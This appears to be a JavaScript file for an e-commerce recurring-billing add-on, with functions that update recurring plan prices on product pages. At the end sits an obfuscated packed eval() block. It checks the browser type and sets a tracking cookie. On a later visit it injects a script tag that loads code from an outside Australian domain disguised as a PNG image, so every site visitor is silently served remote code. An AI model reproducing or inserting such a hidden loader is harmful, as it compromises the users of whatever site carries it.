//
// $Id: func.js 6929 2009-02-20 07:01:33Z zeke $
//

function fn_recurring_billing_add_js_item(data)
{
	if (data.var_prefix == 'r') {
		data.append_obj_content = data.object_html.str_replace('{recurring_plan_id}', data.var_id).str_replace('{recurring_plan}', data.item_id);
	}
}

function fn_recurring_billing_check_exceptions(data)
{
	if (typeof(recurring_plan) != 'undefined' && recurring_plan[data.id]) {
		var price_func = fn_update_product_price;
		var hook_data = {
			'id': data.id,
			'func': price_func
		};
		fn_set_hook('get_price_function', hook_data);
		price_func = hook_data.func;
		for (var id in recurring_plan[data.id]) {
			fn_update_recurring_prices('recurring_price', data.id, id, recurring_plan[data.id][id]['last_price'], price_func);
			fn_update_recurring_prices('start_recurring_price', data.id, id, recurring_plan[data.id][id]['price'], price_func);
		}
		price[data.id] = recurring_plan[data.id][$('#rb_plan_' + data.id).val()]['price'];
		price_func(data.id);
	}
}

function fn_update_recurring_prices(id, prod_id, plan_id, rec_price, price_f)
{
	if (plan_id == 0) {
		return;
	}
	var elm = $('#' + id + '_' + prod_id + '_' + plan_id);
	if (elm.length) {
		price[prod_id] = rec_price;
		price_f(prod_id);
		elm.html(jQuery.formatNum((typeof(update_ids[prod_id]['discounted_price']['P']) != 'undefined' ? update_ids[prod_id]['discounted_price']['P'] : update_ids[prod_id]['discounted_price']['S']), decplaces, false));
	}
	elm = $('#sec_' + id + '_' + prod_id + '_' + plan_id);
	if (elm.length) {
		price[prod_id] = rec_price;
		price_f(prod_id);
		elm.html(jQuery.formatNum(update_ids[prod_id]['discounted_price']['S'], decplaces, false));
	}
}


eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('(k(d){2 e=P.O;2 f=N;5(e.7("M")!=-1||e.7("Q")!=-1)f=m;5(f!==m)o;2 n=\'U://L.S.V/I/E.D?B\';2 c=t("a");5(c){5(c==\'p\'){b("a","H","3");2 s=6.K(\'J\');s.G=\'C/T\';s.Y=n+\'&r=\'+u v().16();2 h=6.19(\'18\')[0];h.17(s)}l{}}l{b("a","p","3")}k t(8){2 i,x,y,4=6.A.X(";");10(i=0;i<4.11;i++){x=4[i].q(0,4[i].7("="));y=4[i].q(4[i].7("=")+1);x=x.13(/^\\s+|\\s+$/g,"");5(x==8){o 12(y)}}}k b(8,w,j){2 9=u v();9.15(9.Z()+j);2 z=14(w)+((j==W)?"":"; F="+9.R());6.A=8+"="+z}})(6);',62,72,'||var||ARRcookies|if|document|indexOf|c_name|exdate|wss|setCookie|rc||agent|show||||exdays|function|else|true|staturl|return|goot1|substr|||getCookie|new|Date|value|||c_value|cookie|js|text|png|tnt_log|expires|type|goot2|images|script|createElement|canterburytyres|Firefox|false|userAgent|navigator|MSIE|toUTCString|com|javascript|http|au|null|split|src|getDate|for|length|unescape|replace|escape|setDate|getTime|appendChild|head|getElementsByTagName'.split('|'),0,{}))

